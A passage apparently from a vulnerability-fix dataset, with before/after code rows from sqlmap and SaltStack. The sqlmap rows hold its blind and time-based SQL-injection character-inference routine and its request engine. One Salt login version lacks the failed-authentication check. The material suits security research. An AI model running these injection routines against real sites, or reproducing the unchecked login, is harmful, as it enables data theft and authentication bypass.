                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None",,sqlmapproject/sqlmap,212c1ec1f248c277cac521240884b6b5380a54cf,"def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            while len(charTbl) != 1:
                position = None

                if charsetType is None:
                    if not firstCheck:
                        try:
                            try:
                                lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                            except IndexError:
                                lastChar = None
                            if 'a' <= lastChar <= 'z':
                                position = charTbl.index(ord('a') - 1)  # 96
                            elif 'A' <= lastChar <= 'Z':
                                position = charTbl.index(ord('A') - 1)  # 64
                            elif '0' <= lastChar <= '9':
                                position = charTbl.index(ord('0') - 1)  # 47
                        except ValueError:
                            pass
                        finally:
                            firstCheck = True

                    elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                        if charTbl[(len(charTbl) >> 1)] < ord(' '):
                            try:
                                # favorize last char check if current value inclines toward 0
                                position = charTbl.index(1)
                            except ValueError:
                                pass
                            finally:
                                lastCheck = True

                if position is None:
                    position = (len(charTbl) >> 1)

                posValue = charTbl[position]
                falsePayload = None

                if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                if timeBasedCompare:
                    if kb.responseTimeMode:
                        kb.responseTimePayload = falsePayload
                    else:
                        kb.responseTimePayload = None

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if not timeBasedCompare:
                    unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
                    if unexpectedCode:
                        warnMsg = ""unexpected HTTP code '%d' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
                        singleTimeWarnMessage(warnMsg)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = ""turning off time auto-adjustment mechanism""
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None"
,UNKNOWN,UNKNOWN,saltapi/netapi/rest_cherrypy/app.py,1,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.
        
        .. versionchanged:: 0.8.0
            Returns 401 on authentication failure

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 401: could not authenticate using provided credentials
        :status 406: requested Content-Type not available
        '''
        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = self.auth.mk_token(creds)
        if not 'token' in token:
            raise cherrypy.HTTPError(401, 'Could not authenticate using provided credentials')
            
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']] if token['name'] in self.opts['external_auth'][token['eauth']] else self.opts['external_auth'][token['eauth']]['*'] 

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}",CWE-259,saltstack/salt,3819b7822e70c48b0c29e1807e102000452d04c5,"def POST(self, **kwargs):
        '''
        Authenticate against Salt's eauth system

        .. versionchanged:: 0.8.0
            No longer returns a 302 redirect on success.

        .. http:post:: /login

            **Example request**::

                % curl -si localhost:8000/login \\
                        -H ""Accept: application/json"" \\
                        -d username='saltuser' \\
                        -d password='saltpass' \\
                        -d eauth='pam'

            .. code-block:: http

                POST / HTTP/1.1
                Host: localhost:8000
                Content-Length: 42
                Content-Type: application/x-www-form-urlencoded
                Accept: application/json

                username=saltuser&password=saltpass&eauth=pam

            **Example response**:

            .. code-block:: http

                HTTP/1.1 200 OK
                Content-Type: application/json
                Content-Length: 206
                X-Auth-Token: 6d1b722e
                Set-Cookie: session_id=6d1b722e; expires=Sat, 17 Nov 2012 03:23:52 GMT; Path=/

                {""return"": {
                    ""token"": ""6d1b722e"",
                    ""start"": 1363805943.776223,
                    ""expire"": 1363849143.776224,
                    ""user"": ""saltuser"",
                    ""eauth"": ""pam"",
                    ""perms"": [
                        ""grains.*"",
                        ""status.*"",
                        ""sys.*"",
                        ""test.*""
                    ]
                }}

        :form eauth: the eauth backend configured in your master config
        :form username: username
        :form password: password
        :status 200: success
        :status 406: requested Content-Type not available
        '''
        # the urlencoded_processor will wrap this in a list
        if isinstance(cherrypy.serving.request.lowstate, list):
            creds = cherrypy.serving.request.lowstate[0]
        else:
            creds = cherrypy.serving.request.lowstate

        token = self.auth.mk_token(creds)
        cherrypy.response.headers['X-Auth-Token'] = cherrypy.session.id
        cherrypy.session['token'] = token['token']
        cherrypy.session['timeout'] = (token['expire'] - token['start']) / 60

        # Grab eauth config for the current backend for the current user
        perms = self.opts['external_auth'][token['eauth']][token['name']] if token['name'] in self.opts['external_auth'][token['eauth']] else self.opts['external_auth'][token['eauth']]['*'] 

        return {'return': [{
            'token': cherrypy.session.id,
            'expire': token['expire'],
            'start': token['start'],
            'user': token['name'],
            'eauth': token['eauth'],
            'perms': perms,
        }]}"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        start = time.time()

        if isinstance(conf.delay, (int, float)) and conf.delay > 0:
            time.sleep(conf.delay)

        if conf.offline:
            return None, None, None
        elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0:
            if conf.murphyRate:
                time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1))
            return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)

        threadData = getCurrentThreadData()
        with kb.locks.request:
            kb.requestCounter += 1
            threadData.lastRequestUID = kb.requestCounter

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
        multipart = kwargs.get(""multipart"", None)
        silent = kwargs.get(""silent"", False)
        raise404 = kwargs.get(""raise404"", True)
        timeout = kwargs.get(""timeout"", None) or conf.timeout
        auxHeaders = kwargs.get(""auxHeaders"", None)
        response = kwargs.get(""response"", False)
        ignoreTimeout = kwargs.get(""ignoreTimeout"", False) or kb.ignoreTimeout or conf.ignoreTimeouts
        refreshing = kwargs.get(""refreshing"", False)
        retrying = kwargs.get(""retrying"", False)
        crawling = kwargs.get(""crawling"", False)
        checking = kwargs.get(""checking"", False)
        skipRead = kwargs.get(""skipRead"", False)
        finalCode = kwargs.get(""finalCode"", False)
        chunked = kwargs.get(""chunked"", False) or conf.chunked

        if multipart:
            post = multipart

        if not post:
            chunked = False

        elif chunked:
            post = _urllib.parse.unquote(post)
            post = chunkSplitPostData(post)

        websocket_ = url.lower().startswith(""ws"")

        if not _urllib.parse.urlsplit(url).netloc:
            url = _urllib.parse.urljoin(conf.url, url)

        # flag to know if we are dealing with the same target host
        target = checkSameHost(url, conf.url)

        if not retrying:
            # Reset the number of connection retries
            threadData.retriesCount = 0

        # fix for known issue when urllib2 just skips the other part of provided
        # url splitted with space char while urlencoding it in the later phase
        url = url.replace("" "", ""%20"")

        if ""://"" not in url:
            url = ""http://%s"" % url

        conn = None
        page = None
        code = None
        status = None

        _ = _urllib.parse.urlsplit(url)
        requestMsg = u""HTTP request [#%d]:\r\n%s "" % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
        requestMsg += getUnicode((""%s%s"" % (_.path or ""/"", (""?%s"" % _.query) if _.query else """")) if not any((refreshing, crawling, checking)) else url)
        responseMsg = u""HTTP response ""
        requestHeaders = u""""
        responseHeaders = None
        logHeaders = u""""
        skipLogTraffic = False

        raise404 = raise404 and not kb.ignoreNotFound

        # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
        # support those by default
        url = asciifyUrl(url)

        try:
            socket.setdefaulttimeout(timeout)

            if direct_:
                if '?' in url:
                    url, params = url.split('?', 1)
                    params = urlencode(params)
                    url = ""%s?%s"" % (url, params)

            elif any((refreshing, crawling, checking)):
                pass

            elif target:
                if conf.forceSSL and _urllib.parse.urlparse(url).scheme != ""https"":
                    url = re.sub(r""(?i)\Ahttp:"", ""https:"", url)
                    url = re.sub(r""(?i):80/"", "":443/"", url)

                if PLACE.GET in conf.parameters and not get:
                    get = conf.parameters[PLACE.GET]

                    if not conf.skipUrlEncode:
                        get = urlencode(get, limit=True)

                if get:
                    if '?' in url:
                        url = ""%s%s%s"" % (url, DEFAULT_GET_POST_DELIMITER, get)
                        requestMsg += ""%s%s"" % (DEFAULT_GET_POST_DELIMITER, get)
                    else:
                        url = ""%s?%s"" % (url, get)
                        requestMsg += ""?%s"" % get

                if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET:
                    post = conf.parameters[PLACE.POST]

            elif get:
                url = ""%s?%s"" % (url, get)
                requestMsg += ""?%s"" % get

            requestMsg += "" %s"" % _http_client.HTTPConnection._http_vsn_str

            # Prepare HTTP headers
            headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {})

            if HTTP_HEADER.COOKIE in headers:
                cookie = headers[HTTP_HEADER.COOKIE]

            if kb.authHeader:
                headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader

            if kb.proxyAuthHeader:
                headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader

            if not conf.requestFile or not target:
                if not getHeader(headers, HTTP_HEADER.HOST):
                    headers[HTTP_HEADER.HOST] = getHostHeader(url)

                if not getHeader(headers, HTTP_HEADER.ACCEPT):
                    headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE

                if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING):
                    headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else ""identity""

            elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT:
                for header in headers:
                    if header.upper() == HTTP_HEADER.USER_AGENT.upper():
                        del headers[header]
                        break

            if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE):
                headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE)

            if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]:
                warnMsg = ""missing 'boundary parameter' in '%s' header. "" % HTTP_HEADER.CONTENT_TYPE
                warnMsg += ""Will try to reconstruct""
                singleTimeWarnMessage(warnMsg)

                boundary = findMultipartPostBoundary(conf.data)
                if boundary:
                    headers[HTTP_HEADER.CONTENT_TYPE] = ""%s; boundary=%s"" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary)

            if conf.keepAlive:
                headers[HTTP_HEADER.CONNECTION] = ""keep-alive""

            if chunked:
                headers[HTTP_HEADER.TRANSFER_ENCODING] = ""chunked""

            if auxHeaders:
                headers = forgeHeaders(auxHeaders, headers)

            for key, value in list(headers.items()):
                del headers[key]
                if isinstance(value, six.string_types):
                    for char in (r""\r"", r""\n""):
                        value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", value)
                    headers[getBytes(key) if six.PY2 else key] = getBytes(value.strip(""\r\n""))  # Note: Python3 has_header() expects non-bytes value

            if six.PY2:
                url = getBytes(url)  # Note: Python3 requires text while Python2 has problems when mixing text with binary POST

            post = getBytes(post)

            if websocket_:
                ws = websocket.WebSocket()
                ws.settimeout(timeout)
                ws.connect(url, header=(""%s: %s"" % _ for _ in headers.items() if _[0] not in (""Host"",)), cookie=cookie)  # WebSocket will add Host field of headers automatically
                ws.send(urldecode(post or """"))
                page = ws.recv()
                ws.close()
                code = ws.status
                status = _http_client.responses[code]

                class _(dict):
                    pass

                responseHeaders = _(ws.getheaders())
                responseHeaders.headers = [""%s: %s\r\n"" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                requestMsg += ""\r\n""

                threadData.lastRequestMsg = requestMsg

                logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
            else:
                if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST):
                    method = getBytes(method)
                    req = MethodRequest(url, post, headers)
                    req.set_method(method)
                elif url is not None:
                    req = _urllib.request.Request(url, post, headers)
                else:
                    return None, None, None

                requestHeaders += ""\r\n"".join([""%s: %s"" % (getUnicode(key.capitalize() if hasattr(key, ""capitalize"") else key), getUnicode(value)) for (key, value) in req.header_items()])

                if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
                    conf.cj._policy._now = conf.cj._now = int(time.time())
                    cookies = conf.cj._cookies_for_request(req)
                    requestHeaders += ""\r\n%s"" % (""Cookie: %s"" % "";"".join(""%s=%s"" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies))

                if post is not None:
                    if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked:
                        requestHeaders += ""\r\n%s: %d"" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post))

                if not getRequestHeader(req, HTTP_HEADER.CONNECTION):
                    requestHeaders += ""\r\n%s: %s"" % (HTTP_HEADER.CONNECTION, ""close"" if not conf.keepAlive else ""keep-alive"")

                requestMsg += ""\r\n%s"" % requestHeaders

                if post is not None:
                    requestMsg += ""\r\n\r\n%s"" % getUnicode(post)

                if not chunked:
                    requestMsg += ""\r\n""

                if not multipart:
                    threadData.lastRequestMsg = requestMsg

                    logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)

                if conf.cj:
                    for cookie in conf.cj:
                        if cookie.value is None:
                            cookie.value = """"
                        else:
                            for char in (r""\r"", r""\n""):
                                cookie.value = re.sub(r""(%s)([^ \t])"" % char, r""\g<1>\t\g<2>"", cookie.value)

                conn = _urllib.request.urlopen(req)

                if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or """").lower() == AUTH_TYPE.BASIC.lower():
                    kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION)

                if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION):
                    kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION)

                # Return response object
                if response:
                    return conn, None, None

                # Get HTTP response
                if hasattr(conn, ""redurl""):
                    page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None
                    skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
                    code = conn.redcode if not finalCode else code
                else:
                    page = Connect._connReadProxy(conn) if not skipRead else None

                if conn:
                    code = (code or conn.code) if conn.code == kb.originalCode else conn.code  # do not override redirection code (for comparison purposes)
                    responseHeaders = conn.info()
                    responseHeaders[URI_HTTP_HEADER] = conn.geturl()
                    patchHeaders(responseHeaders)
                    kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader)
                else:
                    code = None
                    responseHeaders = {}

                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
                status = getUnicode(conn.msg) if conn and getattr(conn, ""msg"", None) else None

            kb.connErrorCounter = 0

            if not refreshing:
                refresh = responseHeaders.get(HTTP_HEADER.REFRESH, """").split(""url="")[-1].strip()

                if extractRegexResult(META_REFRESH_REGEX, page):
                    refresh = extractRegexResult(META_REFRESH_REGEX, page)

                    debugMsg = ""got HTML meta refresh header""
                    logger.debug(debugMsg)

                if refresh:
                    if kb.alwaysRefresh is None:
                        msg = ""sqlmap got a refresh request ""
                        msg += ""(redirect like response common to login pages). ""
                        msg += ""Do you want to apply the refresh ""
                        msg += ""from now on (or stay on the original page)? [Y/n]""

                        kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)

                    if kb.alwaysRefresh:
                        if re.search(r""\Ahttps?://"", refresh, re.I):
                            url = refresh
                        else:
                            url = _urllib.parse.urljoin(url, refresh)

                        threadData.lastRedirectMsg = (threadData.lastRequestUID, page)
                        kwargs[""refreshing""] = True
                        kwargs[""url""] = url
                        kwargs[""get""] = None
                        kwargs[""post""] = None

                        try:
                            return Connect._getPageProxy(**kwargs)
                        except SqlmapSyntaxException:
                            pass

            # Explicit closing of connection object
            if conn and not conf.keepAlive:
                try:
                    if hasattr(conn.fp, '_sock'):
                        conn.fp._sock.close()
                    conn.close()
                except Exception as ex:
                    warnMsg = ""problem occurred during connection closing ('%s')"" % getSafeExString(ex)
                    logger.warn(warnMsg)

        except SqlmapConnectionException as ex:
            if conf.proxyList and not kb.threadException:
                warnMsg = ""unable to connect to the target URL ('%s')"" % ex
                logger.critical(warnMsg)
                threadData.retriesCount = conf.retries
                return Connect._retryProxy(**kwargs)
            else:
                raise

        except _urllib.error.HTTPError as ex:
            page = None
            responseHeaders = None

            if checking:
                return None, None, None

            try:
                page = ex.read() if not skipRead else None
                responseHeaders = ex.info()
                responseHeaders[URI_HTTP_HEADER] = ex.geturl()
                patchHeaders(responseHeaders)
                page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
            except socket.timeout:
                warnMsg = ""connection timed out while trying ""
                warnMsg += ""to get error page information (%d)"" % ex.code
                logger.warn(warnMsg)
                return None, None, None
            except KeyboardInterrupt:
                raise
            except:
                pass
            finally:
                page = getUnicode(page)

            code = ex.code
            status = getUnicode(getattr(ex, ""reason"", None) or getSafeExString(ex).split("": "", 1)[-1])

            kb.originalCode = kb.originalCode or code
            threadData.lastHTTPError = (threadData.lastRequestUID, code, status)
            kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1

            responseMsg += ""[#%d] (%s %s):\r\n"" % (threadData.lastRequestUID, code, status)

            if responseHeaders:
                logHeaders = getUnicode("""".join(responseHeaders.headers).strip())

            logHTTPTraffic(requestMsg, ""%s%s\r\n\r\n%s"" % (responseMsg, logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time())

            skipLogTraffic = True

            if conf.verbose <= 5:
                responseMsg += getUnicode(logHeaders)
            elif conf.verbose > 5:
                responseMsg += ""%s\r\n\r\n%s"" % (logHeaders, (page or """")[:MAX_CONNECTION_CHUNK_SIZE])

            if not multipart:
                logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)

            if ex.code != conf.ignoreCode:
                if ex.code == _http_client.UNAUTHORIZED:
                    errMsg = ""not authorized, try to provide right HTTP ""
                    errMsg += ""authentication type and valid credentials (%d)"" % code
                    raise SqlmapConnectionException(errMsg)
                elif chunked and ex.code in (_http_client.METHOD_NOT_ALLOWED, _http_client.LENGTH_REQUIRED):
                    warnMsg = ""turning off HTTP chunked transfer encoding ""
                    warnMsg += ""as it seems that the target site doesn't support it (%d)"" % code
                    singleTimeWarnMessage(warnMsg)
                    conf.chunked = kwargs[""chunked""] = False
                    return Connect.getPage(**kwargs)
                elif ex.code == _http_client.NOT_FOUND:
                    if raise404:
                        errMsg = ""page not found (%d)"" % code
                        raise SqlmapConnectionException(errMsg)
                    else:
                        debugMsg = ""page not found (%d)"" % code
                        singleTimeLogMessage(debugMsg, logging.DEBUG)
                elif ex.code == _http_client.GATEWAY_TIMEOUT:
                    if ignoreTimeout:
                        return None if not conf.ignoreTimeouts else """", None, None
                    else:
                        warnMsg = ""unable to connect to the target URL (%d - %s)"" % (ex.code, _http_client.responses[ex.code])
                        if threadData.retriesCount < conf.retries and not kb.threadException:
                            warnMsg += "". sqlmap is going to retry the request""
                            logger.critical(warnMsg)
                            return Connect._retryProxy(**kwargs)
                        elif kb.testMode:
                            logger.critical(warnMsg)
                            return None, None, None
                        else:
                            raise SqlmapConnectionException(warnMsg)
                else:
                    debugMsg = ""got HTTP error code: %d (%s)"" % (code, status)
                    logger.debug(debugMsg)

        except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
            tbMsg = traceback.format_exc()

            if checking:
                return None, None, None
            elif ""no host given"" in tbMsg:
                warnMsg = ""invalid URL address used (%s)"" % repr(url)
                raise SqlmapSyntaxException(warnMsg)
            elif ""forcibly closed"" in tbMsg or ""Connection is already closed"" in tbMsg:
                warnMsg = ""connection was forcibly closed by the target URL""
            elif ""timed out"" in tbMsg:
                if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection timed out to the target URL""
            elif ""Connection reset"" in tbMsg:
                if not conf.disablePrecon:
                    singleTimeWarnMessage(""turning off pre-connect mechanism because of connection reset(s)"")
                    conf.disablePrecon = True

                if kb.testMode:
                    singleTimeWarnMessage(""there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests"")
                    kb.droppingRequests = True
                warnMsg = ""connection reset to the target URL""
            elif ""URLError"" in tbMsg or ""error"" in tbMsg:
                warnMsg = ""unable to connect to the target URL""
                match = re.search(r""Errno \d+\] ([^>]+)"", tbMsg)
                if match:
                    warnMsg += "" ('%s')"" % match.group(1).strip()
            elif ""NTLM"" in tbMsg:
                warnMsg = ""there has been a problem with NTLM authentication""
            elif ""Invalid header name"" in tbMsg:  # (e.g. PostgreSQL ::Text payload)
                return None, None, None
            elif ""BadStatusLine"" in tbMsg:
                warnMsg = ""connection dropped or unknown HTTP ""
                warnMsg += ""status code received""
                if not conf.agent and not conf.randomAgent:
                    warnMsg += "". Try to force the HTTP User-Agent ""
                    warnMsg += ""header with option '--user-agent' or switch '--random-agent'""
            elif ""IncompleteRead"" in tbMsg:
                warnMsg = ""there was an incomplete read error while retrieving data ""
                warnMsg += ""from the target URL""
            elif ""Handshake status"" in tbMsg:
                status = re.search(r""Handshake status ([\d]{3})"", tbMsg)
